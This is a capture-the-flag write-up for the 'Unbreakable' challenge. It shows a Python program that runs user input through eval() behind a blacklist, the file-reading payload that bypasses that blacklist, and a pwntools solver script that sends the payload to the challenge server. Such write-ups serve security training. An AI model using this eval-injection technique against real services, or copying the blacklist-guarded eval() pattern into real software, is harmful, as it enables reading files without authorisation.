2024 Cyber Apocalypse: Unbreakable
Challenge Information
| Attribute | Details |
|---|---|
| Event | 2024 Cyber Apocalypse |
| Category | Miscellaneous |
| Challenge | Unbreakable |
| Difficulty | Easy |
Summary
Unbreakable is a challenge that exploits Python’s eval() function while bypassing an extensive blacklist of characters and functions. The program restricts user input using a blacklist but still uses eval() to execute code, creating a vulnerability. Participants must creatively chain allowed functions to read flag.txt without triggering the blacklist.
Analysis
The vulnerable code structure:
blacklist = [ ';', '"', 'os', '_', '\\', '`', ' ', '-', '!', '[', ']', '*', 'import', 'eval', 'banner', 'echo', 'cat', '%', '&', '>', '<', '+', '1', '2', '3', '4', '5', '6', '7', '8', '9', '0', 'b', 's', 'lower', 'upper', 'system', '}', '{' ]
while True: ans = input('Break me, shake me!\n\n$ ').strip()
if any(char in ans for char in blacklist): print(f'\n{banner1}\nNaughty naughty..\n') else: try: eval(ans + '()') print('WHAT WAS THAT?!\n') except: print(f"\n{banner2}\nI'm UNBREAKABLE!\n")Key Observations:
- The blacklist includes common function names like ‘os’, ‘import’, ‘system’, ‘cat’, ‘echo’
- However,
open(),print(), andread()are NOT blacklisted - The program calls
eval(ans + '()'), meaning the input must be callable - File I/O functions are available and can be chained
Solution
Step 1: Identify Available Functions
The blacklist does NOT contain:
open- to open filesread- to read file contentsprint- to display output
Step 2: Craft the Payload
Build a payload that chains these functions:
print(open('flag.txt','r').read())This payload:
- Opens
flag.txtin read mode - Reads the file contents
- Prints the result
All characters used are allowed by the blacklist (no spaces, numbers, or special characters that are blocked).
Complete Solver Script
#!/usr/bin/python3from pwn import *import warningsimport oswarnings.filterwarnings('ignore')context.log_level = 'critical'
fname = './main.py'
LOCAL = False
os.system('clear')
if LOCAL: print('Running solver locally..\n') r = process(['python3', fname])else: IP = str(sys.argv[1]) if len(sys.argv) >= 2 else '0.0.0.0' PORT = int(sys.argv[2]) if len(sys.argv) >= 3 else 1337 r = remote(IP, PORT) print(f'Running solver remotely at {IP} {PORT}\n')
r.sendline("print(open('flag.txt','r').read())#")print(f'Flag --> {r.recvline_contains(b"HTB").strip().decode()[2:]}\n')Step 3: Send Payload and Receive Flag
The solver:
- Connects to the challenge server
- Sends the crafted payload
- Captures the output which contains the flag
- Parses and displays the flag
Key Takeaways
- Blacklist-based security is often incomplete and can be bypassed
- Understanding what functions ARE available is as important as knowing what’s blocked
- Function chaining allows complex operations with minimal characters
- The
#character creates a comment to handle the forced()appended by eval - Python’s built-in functions like
open()andread()are powerful without being explicitly dangerous
Flag: HTB{3v4l_0r_3vuln??}